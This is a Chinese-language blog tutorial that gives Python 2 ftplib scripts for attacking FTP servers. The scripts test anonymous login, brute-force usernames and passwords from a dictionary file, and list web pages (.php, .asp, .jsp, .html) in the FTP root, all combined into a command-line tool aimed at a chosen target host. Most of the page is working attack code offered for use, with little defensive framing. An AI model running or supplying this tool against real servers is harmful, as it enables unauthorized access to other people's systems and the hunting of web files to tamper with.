zoukankan      html  css  js  c++  java
  • Python脚本暴力破解FTP口令(ftplib)

    目录

    判断FTP服务器是否允许匿名登录

    暴力破解FTP口令

    列出FTP目录内的网页文件

    综合


    环境:Windows python2.7.15

    ftplib模块是python下用于ftp服务的模块 。

    判断FTP服务器是否允许匿名登录

    以下代码是判断FTP服务器是否允许匿名登录

    我们写了一个anonLogin() 函数,使用 ftp.login()方法进行匿名登录,如果没有抛出异常,说明FTP服务器允许匿名登录。反之不允许。

    # -*- coding: utf-8 -*-
    """
    Created on Sun Nov  4 10:25:17 2018
    @author: 小谢
    """
    import ftplib
    def anonLogin(hostname):
        try:
            ftp=ftplib.FTP(hostname)       #实例化FTP连接
            ftp.login('anonymous','')      #匿名登录
            print '
    [*] '+hostname+' FTP Anonymous Login Succeeded!'
            ftp.quit()                    #退出FTP
            return True
        except Exception,e:               #如果捕获到异常,说明不允许匿名登录
            print '
    [-] '+str(hostname)+' FTP Anonymous Login Failed!'
            return False
    anonLogin('127.0.0.1')

    暴力破解FTP口令

    如果ftp服务器不允许匿名登录呢,我们就需要通过密码字典暴力破解ftp口令。我们通过读取密码字典中的用户名和口令,一个一个去尝试登录,如果没捕获到异常,说明用户名和口令正确!密码字典中用户名和口令用 : 分隔。

    # -*- coding: utf-8 -*-
    """
    Created on Sun Nov  4 10:36:49 2018
    @author: 小谢
    """
    import ftplib
    def bruteLogin(hostname,passwdFile):
        f=open(passwdFile,'r')
        lines=f.readlines()
        for line in lines:
            user=line.split(":")[0]    #用户名
            passwd=line.split(":")[1].strip("
    ")  #密码
            print '[+] Trying: '+user+": "+passwd
            try:
                ftp=ftplib.FTP(hostname)          #实例化FTP连接
                ftp.login(user,passwd)            #登录
                print '
    [*] '+hostname +' FTP Login Succeeded!'
                ftp.quit()       #退出FTP
                return(user,passwd)      #返回用户名和密码
            except Exception,e:
                pass
        print '
    [-] Could not brute force FTP credentials!'
        return(None,None)
    a=bruteLogin("127.0.0.1","key.txt")
    print("User:%s Password:%s"%a)

    列出FTP目录内的网页文件

    在得到了用户名和口令之后,我们就可以列出FTP目录下的文件,看是否存在网页文件。注意,我们这里只能判断FTP目录这一级的文件,而不能递归的判断目录内的文件。因为我们只知道FTP目录的相对路径,而不知道绝对路径!

    # -*- coding: utf-8 -*-
    """
    Created on Sun Nov  4 10:51:13 2018
    
    @author: 小谢
    """
    import ftplib
    import os
    def returnDefault(ftp):
        try:
            dirList=ftp.nlst()   #列出FTP目录下的文件或目录
        except:
            dirList=[]
            print '[-] Could not list directory contents!'
            return
        retList=[]
        for filename in dirList:
            fn=filename.lower()        #将目录名转换为小写
            if '.php' in fn or '.html' in fn or '.asp' in fn or '.jsp' in fn or '.htm' in fn:
                print'[+] Found default page:'+filename
                retList.append(filename)
        return retList
    def main():
        ftp=ftplib.FTP("127.0.0.1")   #实例化FTP连接
        ftp.login("admin","root")
        a=returnDefault(ftp)
        if a:
            print("Defalut Page List:")
            for i in a:
                print(i)
    main()

    综合

    我们可以结合前面三个脚本,写一个汇总的脚本。当用户执行脚本的时候,没加 -F/-f 参数指定密码字典的时候,就默认查看FTP服务器是否可匿名登录,如果可匿名登录,则列出FTP目录下的网页文件。如果不能匿名登录,就提示不能匿名登录。当指定了-F/-f 参数的话,就暴力破解 FTP 口令,如果破解成功了,则列出FTP目录下是的网页文件。

    # -*- coding: utf-8 -*-
    """
    Created on Sun Nov  4 12:12:41 2018
    @author: 小谢
    """
    import parser
    import optparse
    import ftplib
    def anonLogin(hostname):     #验证是否可匿名登录
        try:
            ftp=ftplib.FTP(hostname)
            ftp.login('','')  #匿名登录
            print '
    [*] '+hostname +' FTP Anonymous Login Succeeded!'
            return (True,ftp)
        except:
            print '
    [-] '+str(hostname)+' FTP Anonymous Login Failed!'
            return (False,ftp)
    def bruteLogin(hostname,passwdFile):  #暴力破解
        f=open(passwdFile,'r')
        lines=f.readlines()
        for line in lines:
            user=line.split(":")[0]                #用户名
            passwd=line.split(":")[1].strip("
    ")  #密码
            try:
                ftp=ftplib.FTP(hostname)
                ftp.login(user,passwd)
                print '
    [*] '+hostname +' FTP Login Succeeded!'
                print("User:%s Password:%s"%(user,passwd))
                return(True,ftp)
            except Exception,e:
                pass
        print '
    [-] Could not brute force FTP credentials!'
        return(False,ftp)
    def returnDefault(ftp):     #列出FTP目录下的网页文件
        try:
            dirList=ftp.nlst()   #列出FTP目录下的文件或目录
        except Exception,e:
            print e
            print '[-] Could not list directory contents!'
            return
        retList=[]
        for filename in dirList:
            fn=filename.lower()        #将目录名转换为小写
            if '.php' in fn or '.html' in fn or '.asp' in fn or '.jsp' in fn or '.htm' in fn:
                print'[+] Found default page:'+filename
                retList.append(filename)
        return retList
    def main(): 
        usage="python %prog -H <target host> -F/f <password file>"  #显示文件的用法帮助信息
        parser=optparse.OptionParser(usage)   #实例化一个对象
        parser.add_option('-H',dest='Host',type='string',help='target host')
        parser.add_option('-f','-F',dest='File',type='string',help='target host')
        (options,args)=parser.parse_args()
        Host=options.Host
        File=options.File
        if Host==None:
            print(parser.usage)
            exit(0)
        if File==None:
            a=anonLogin(Host)
            if a[0]:
                returnDefault(a[1])  
        else:
            b=bruteLogin(Host,File)
            if b[0]:
                returnDefault(b[1])
        return 
    if __name__=="__main__":
        main()
    

  • 相关阅读:
    To do list
    Spring Boot学习总结(4)——使用Springloaded进行热部署
    App后台开发运维和架构实践学习总结(2)——RESTful API设计技巧
    程序员如何成为编程高手并以此创业
    小米宋强:生态化大数据平台的深度应用实践
    Tomcat学习总结(9)——Apache Tomcat 8新特性
    Mysql学习总结(41)——MySql数据库基本语句再体会
    Git学习总结(13)——使用git.oschina作为自己的源代码在线管理库
    将学习养成习惯
    Java基础学习总结(71)——深入理解Java虚拟机内存
  • 原文地址:https://www.cnblogs.com/csnd/p/11807824.html
Copyright © 2011-2022 走看看